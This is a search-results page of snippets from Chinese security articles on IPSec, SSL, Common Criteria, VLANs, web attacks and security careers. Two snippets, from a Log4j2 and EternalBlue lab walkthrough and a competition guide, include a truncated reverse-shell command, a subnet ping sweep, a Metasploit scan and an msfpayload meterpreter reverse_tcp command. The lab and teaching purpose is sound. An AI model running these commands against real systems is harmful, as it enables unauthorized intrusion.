- 综合排序
- 最热优先
- 最新优先
- 来自专栏python基础文章
网络安全协议（2）
2.CC体系一共包括3大部分 分别是：信息技术安全性评价通用准则，信息技术安全评价通用方法，通用准则识别协议。 （2）保护轮廓（PP)。PP是一种TOE类型的安全需求的独立强制性描述。PP是用户对安全需求的明确表述。 EAL2：结构性测试级，证明TOE与系统层次设计概念一致。 EAL.3：工程方法上的测试及验证级，证明TOE在设计上采用了积极安全操作系统安全测评研究的工程方法。 EAL.7：形式化地验证设计和测试级，证明TOE的所有安全功能经得起全面的形式化分析 安全级别和组件之间的关系可以用一张表概括，如表1-2所示。 ---- 2.一般模型 为了消除不正当的压力对评估的影响，CEM定义了4个角色：发起者、开发者、评估者和评估权威机构。
89450编辑于 2023-10-15 - 来自专栏python基础文章
网络安全——网络层安全协议（2）
一.IPSec体系结构 1.IPSec体系结构 IPSec(Internet协议安全)是一个工业标准网络安全协议，为IP网络通信提供透明的安全服务，保护TCP/IP通信免遭窃听和篡改，可以有效抵御网络攻击 (2)广域网：路由器到路由器模式，网关到网关模式。 (3）远程访问：拨号客户机，专网对Internet的访问。 （2）ESP协议。加密IP数据包的默认值、头部格式以及与加密封装相关的其他条款。 （3）AH协议。验证IP数据包的默认值、头部格式以及与认证相关的其他条款。 （4）加密算法。 （2）在IPSec驱动程序数据库中查找相匹配的出站SA，并将SA中的SPI插人IPSec包头。 （3）对数据包签名(完整性检查)；如果要求机密，则另外加密数据包。 （2）通过目的地址和SPI，在IPSec驱动程序数据库中查找相匹配的人站SA。 （3）检查签名，对数据包进行解密(如果是加密包的话)。
1.1K20编辑于 2023-10-15 - 来自专栏数通
2款网络安全杀手级工具，教你如何提高网络安全性！
背景 随着云计算、人工智能等互联网技术的不断发展，网络安全形势也面临着非常严峻的考验。 所以网络安全已成为国家都关注的区域之一，作为网络工程师，则更需要了解如何防范这些攻击，才能维护网络的安全性、稳定性。 今天阿祥给大家介绍几款网络安全测试工具，协助大家排查网络中的隐藏安全漏洞，有助于给网络安全防线添砖加瓦！ 2、零信任网络测试：它的功能还可以帮助企业检测零信任网络架构，测试零信任网络是否达到预期的要求，确保零信任网络正式使用时不会出现纰漏！ 2、操作系统识别：通过特定的网络指纹识别技术，可识别目标主机的操作系统 3、服务探测：检测开放端口上运行的服务及其版本，以便进一步评估风险。
43510编辑于 2024-12-03 - 来自专栏python基础文章
网络安全——数据链路层安全协议（2）
---- （2）IEEE802.10的应用模式 IEEE802.10协议最初的目的是制定一个互操作的局域网安全标准但没有得到业界的响应和支持。 ---- 2.IEEE 802.1q 早期VLAN在网络之间很难实施，每个VLAN都被手动配置在每个交换机上。对VLAN的管理，在一个延伸的网络中是非常复杂的任务。 图2表示了不同Cisco交换机之间的IEEE802.1g干线。 IEEE802.1p/g同属一个协议集，使用同一赖格式，它们是在传统的以太网帧格式中插入了一个标记（Tag)字段，占两个字节，如图2-5所示。
71320编辑于 2023-10-15 - 来自专栏python基础文章
网络安全——数据链路层安全协议（2）
---- （2）IEEE802.10的应用模式 IEEE802.10协议最初的目的是制定一个互操作的局域网安全标准但没有得到业界的响应和支持。 ---- 2.IEEE 802.1q 早期VLAN在网络之间很难实施，每个VLAN都被手动配置在每个交换机上。对VLAN的管理，在一个延伸的网络中是非常复杂的任务。 图2表示了不同Cisco交换机之间的IEEE802.1g干线。 IEEE802.1p/g同属一个协议集，使用同一赖格式，它们是在传统的以太网帧格式中插入了一个标记（Tag)字段，占两个字节，如图2-5所示。
50730编辑于 2023-10-15 - 来自专栏网络安全观
美军网络安全 | 第2篇：JIE网络安全架构SSA（单一安全架构）
这一篇，就谈6项关键能力的第1项和8个现代化领域的第2项——JIE网络安全架构SSA（单一安全架构）。 注意：SSA（单一安全架构）在最新的文件中可能被称为CCA（一致网络安全架构）。 •努力方向2：设备加固：减少进入国防部信息网络的内部和外部攻击向量。确保设备正确配置和软件补丁为最新,该项工作还包括禁用电子邮件中的活动链接。 尽管美军国防部在各军种、军事机构中推动和实施了多个网络安全战略性项目，但GIG各组成单元间相互脱节的网络安全策略和保护措施多样化的实现途径，导致网络安全本质上的整体保障能力存在巨大风险。 2、SSA定位： SSA的提出体现了美军为扭转安全防护的不利态势，而在JIE中做出的不懈努力。 2、SSA能力分解 对应地，两种网络中SSA的能力也有所不同。
2.4K10发布于 2021-02-26 - 来自专栏python基础文章
【创作赢红包】网络安全——传输层安全协议（2）
前言 通过之前文章我们对于SSL协议进行了一定了解网络安全——传输层安全协议 本章将会继续讲解SSL握手协议与SSL记录协议。 一. （2)第二阶段——“用户身份认证阶段” 对用户身份进行认证，通常服务器方要求客户方提供经过签名的客户证书进行认证，并将认证结果返回给客户。 （2）客户问候消息发送完后，如果Server端需要进行认证，会发送它的证书。 （5）此时，握手过程结束，客户端和服务器可以开始交换应用加密数据，应用数据加密一般是用第（2）步密钥协商时确定的对称加/解密密钥，如DES、3DES等。 2.打包过程 记录层将数据块分裂为小于或等于214字节的SSL.PlainText记录。
46120编辑于 2023-10-15 Apache Log4j2网络安全事件
一 .利用 log4j2 漏洞获取目标机权限1.信息搜集访问目标端口，寻找可能存在的漏洞2.反弹shellcd /opt/Tools/Log4j2_shell echo -n 'bash -i >& payload 让目 标加载恶意类 成功获取反弹 shell成功获取用户名和密码二.利用永恒之蓝漏洞进行内网渗透1、内网信息收集（1）观察是否为 docker 环cat /proc/1/cgroup（2） i in 10.10.30.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done 2、 进行初步探测use auxiliary/scanner/smb/smb_version set rhosts 10.10.30.0/24 run发现 10.10.30.21 开放了 smb 相关端口（2） 添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true3.修改配置文件 log4j2.formatMsgNoLookups=True 4.修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
54450编辑于 2024-08-19- 来自专栏数据安全架构与治理
企业网络安全体系建设(2): 安全组织
： 设立由网络安全相关的专业人员组成的网络安全部，相当于国家安全体系中的“公安局”，主要职责是维持企业的基本安全环境，预防、阻止危害公司网络安全的行为，检测网络流量以识别恶意行为，管理重要信息资产，建设 、管理和运维重要的网络安全基础设施等。 威胁情报的主要来源有网络安全厂商或网络安全媒体的安全公告、最新的漏洞披露、安全预警、业界安全事件、安全态势等，以及专业的威胁情报公司为企业提供的量身定制的特定情报数据。 网络安全相关工作的开展，还需要对网络安全相关的事宜进行立法，对网络安全人员依法行政的过程或结果进行复议或裁决（司法）。 这些可以在网络安全团队内部设立独立的小组，或者在网络安全部门之外设立决策委员会，负责网络安全立法审核（相当于“人大”）与司法（相当于“法院”，对网络安全部依法行政进行复议或裁决）。
1.3K20编辑于 2022-06-02 - 来自专栏京程一灯
讲给前端的网络安全（2）： 互联网的构成
讲给前端的网络安全（1）：浏览器与网络的那些事 网络资源分配 在解互联网之前，要先了解网络资源是怎么分配的。 ? 假设这里有六个 AS，而我们为 AS 2，我们接收了AS 3，AS 4，AS 1的路由，并把 AS 3 与 AS 4 连同自己的（AS 2）的路由一起输出给 AS 1，AS 3 与 AS 4 需要通过AS 2 才能连上 AS 1、AS 5、AS 6 内的电脑，这时就有好几种 AS 角色关系出现： Customer AS AS 2 为 AS 1 的 Customer AS，因为 AS 2 必须通过 AS 而 AS 2 在这里就是一个 Transit AS AS 分级 基本上我们将 AS 分为三个等级，也就是 Tier 1~3。 Tier 2：T2 等级提供 Transit 服务给其他AS，同时也会向 Tier 1 AS 寻求并使用 Transit 的服务。
84220发布于 2020-11-26 - 来自专栏全栈程序员必看
高校 网络安全_网络安全之道
该高校多个校区，客户师生上万人，每人 1-2 个终端，学校难以统一规范管理学生上网行为，更没有师生私有终端设备的管理权限。 安全人员有限，难以应对大量告警和各类新型威胁。 学校 IT 部门只有 3~4人，难以应对每天数百次的各类攻击，以及各类新型威胁，IT 部门负责人和安全人员对校园网络安全现状、 运维处置非常担忧，希望通过有效的手段进行全面安全防护。 如果有更高的办公网络安全需求，比如要阻止“恶意挖矿”、防勒索软件、防木马病毒等，则可选择微步在线OneDNS企业版。 2、安全响应闭环能力 OneDNS防护实现检测、拦截、定位、取证闭环。 更详细的能力介绍，大家可自行去官网深入了解。 OneDNS这么一个轻量、安全的DNS防护，可以助力高校的网络安全。
4.1K30编辑于 2022-09-27 - 来自专栏网络安全随笔
【网络安全产品大调研系列】2. 体验漏洞扫描
2.
48700编辑于 2025-06-10 - 来自专栏编程技术宇宙
网络安全
网络安全 SQL注入 Web安全三板斧之首，大名鼎鼎的SQL注入。 </script> 2、用户点击后，该JS作为请求参数传给Web服务器后端 3、后端服务器没有检查过滤，简单处理后放入网页正文中返回给浏览器 4、浏览器解析返回的网页，中招！ 这个过程的危害在于2点： 1、这个HTTP请求不是用户主动意图，而是B“唆使的”，如果是一个危害较大的请求操作（发邮件？删数据？ 记得刚刚学习网络安全的时候，大家总会没事拿出工具来扫一扫，虽然扫了之后就没有了下文，也总是乐此不疲，在不懂的人面前秀一把自己的“黑客”能力。 多因子认证技术意为在传统密码认证之外，引入其他认证技术进行补充，使用2种及以上的方式共同完成认证。
2.2K41编辑于 2022-04-02 - 来自专栏全栈程序员必看
如何入门网络安全_网络安全自学
由于我之前写了不少网络安全技术相关的故事文章，不少读者朋友知道我是从事网络安全相关的工作，于是经常有人在微信里问我： 我刚入门网络安全，该怎么学？要学哪些东西？有哪些方向？怎么选？ 网络安全分支 其实在网络安全这个概念之上，还有一个更大的概念：信息安全。本文不去探讨二者在学术划分上的区别，如无特殊说明，文中将其视为一个概念，我们来看下实际工作方向上，有哪些细分路线。 ，网络安全作为一个行业也不例外，不同的是这个行业的研发就是开发与网络安全业务相关的软件。 在这种情况下，如果除了基本的开发功底以外，对网络安全技术有所了解，自然会是你面试这些岗位时的加分项。 第一步：计算机基础 这第一步，其实跟网络安全关系都不太大，而是进入IT领域的任何一个人都要掌握的基础能力。
2.5K25编辑于 2022-11-01 - 来自专栏白菜博客
网络安全
竞赛内容：重点考核参赛选手网络系统安全策略部署、信息保护、网络安全运维管理的综合实践能力，具体包括：（1）参赛选手能够在赛项提供的服务器上配置各种协议和服务，实现网络系统的运行，并根据网络业务需求配置各种安全策略 （2）赛选手能够根据大赛提供的赛项要求，实施网络空间安全防护操作。（3）参赛选手能够根据网络实际运行中面临的安全威胁，确定安全策略并部署实施，防范并制止网络恶意入侵和攻击行为。 /msfpayload windows/meterpreter/reverse_tcp LHOST =本地ip LPORT=33333 X > /tmp/newgames.exe2.建立服务器在命令行输入 meterpreter窗口4.在meterpreter窗口中可以输入以下命令操作下面调一些重要的功能介绍一下： 1. background：这个命令是将当前的session放到后台运行，可以在msf中继续其他渗透任务； 2.
47010编辑于 2025-08-18 - 来自专栏一名合格java开发的自我修养
网络安全
公钥密码体制：使用不同的加密秘钥和私密秘钥 产生原因：1，对对称秘钥密码体制的秘钥分配问题2，对数字签名的需求 对称密钥中，加解密双方难以使用相同密钥，难以事先确定使用一样的密钥。 就叫报文鉴别 2， 接收者确信所收到的数据和发送者发送的完全一样，没有被篡改过。报文完整性 3， 发送者事后不能抵赖对报文的签名。 传给B 2， B为了核实签名，用A的公钥进行E运算，还原出明文。 注意任何人都可以用A的公钥对报文进行E运算得出明文，但是不能篡改，因为不知道A密钥是多少。 分：1，报文鉴别：收到的报文是发送者发送的，不是别人伪造的2，实体鉴别 报文鉴别 许多报文不需要加密但需要数字签名，让接收者能够鉴别报文真伪，但是对很长的报文进行签名，浪费过多时间，这时可以用鉴别报文真伪的方法
1.8K30发布于 2018-08-29 - 来自专栏安恒信息
2016年Q2网络安全创新500强榜单
日前，美国投资咨询机构Cybersecurity Ventures发布了2016 Q2《网络安全创新500强》企业榜单，国内6家企业上榜，安恒信息依旧榜上有名，排名稳健。 他们是奇虎360(126名)、安恒信息(141名)、安天实验室(205名)、山石网科（345名）、 印象认知(477名)、深信服（478名），与Q1相比，增加了2家中国公司。 中国安全厂商在国际市场的影响力正在逐步增加，未来，安恒信息继续向世界展示“中国智慧”，展示专业实力，来为各界客户的网络安全与业务平稳运营保驾护航。
59590发布于 2018-04-10 - 来自专栏网络安全abc123
网络安全14：Struts2框架下Log4j2漏洞检测方法分析与总结
我大概有4、5年没看过Struts2框架的代码了，但毕竟对Struts2漏洞有感情了，所以就各种搜索把网上的各种检测方式汇总起来，搭建环境，跟踪代码，对各种检测方法进行对比，最后给出2个可靠好用的检测Struts2 Part2 技术研究过程 Struts2与log4j2日志级别配置 如下图所示，这是log4j2组件中关于日志级别的定义。 接下来还要重点关注Struts2框架中log4j2.xml文件的配置，主要看<Logger name="org.apache.struts<em>2</em>" level="info"/>这部分内容，因为几乎所有的Struts2 Struts2拦截器简介 要想理解Struts2框架下log4j2漏洞检测方法，首先需要了解一下Struts2的拦截器。 注意，我写的工具这里的“Log4j2 DNSLog地址：”这个检测功能，只针对Struts2框架下的log4j2检测功能，并不通用所有的log4j2漏洞检测。 Part3 总结 1.
1.6K20编辑于 2022-07-01 - 来自专栏高防
网络安全与IP安全网络安全
因为Internet最初设计几乎没考虑安全性，所以网络安全需要在网络的各个层次考虑。 常用算法有：md5，输出128位散列值，不足够安全；sha1，输入消息长度＜2的64次方，散列值为160位，速度更慢但是安全性更高。报文认证大致思路是将报文和报文摘要构成扩展报文。 VPN是通过建立在公共网络上的安全通道，实现远程用户等与总部的安全连接，不实际独占公共网络的资源，是一条逻辑穿过公共网络安全稳定的隧道。 该技术有三层，乘客协议，封装协议和承载协议；常见在第二层的协议有pptp点对点隧道协议和l2tp协议，主要用于远程客户机访问局域网；第三层协议有IPsec，用于网关到网关和网关到主机。 具体实现技术有：IPsec最安全使用面最广，ssl具有高层协议的优势，l2tp最好的实现远程接入VPN的技术。
2.4K20编辑于 2022-12-08 - 来自专栏python基础文章
网络安全协议
前言 本章将会进行网络安全协议的讲解 一.网络安全 1.什么是网络安全 网络安全（Cyber Security）是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭受到破坏 2.网络安全的必要性 网络安全一直是一个倍受关注的领域。如果缺乏一定的安全保障，无论是公共网络还是企业专用网络，都难以抵挡网络攻击和非法入侵。 2.常用的安全标准 （1）美国TCSEC 国国防部于1983年制定，提供D、C1、C2、B1、B2、B3、A1这7个等级的可信系统评价标准，每个等级对应有确定的安全特性需求和保障需求，高等级需求建立在低等级需求的基础之上 如图所示，TCSEC定义了7个等级（D.C1.C2.B1.B2.B3.A1）组成的4个类别.类A中的级别A1是最高安全级别，类D中的级别D是最低安全级别。 D：最小保护 C1：自主安全保护 C2：受控访问保护 B1：标记安全保护 B2：结构化保护 B3：安全域 2.ITSEC ITSEC根据保证要求定义了7个评估级别。
1.4K30编辑于 2023-10-15
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号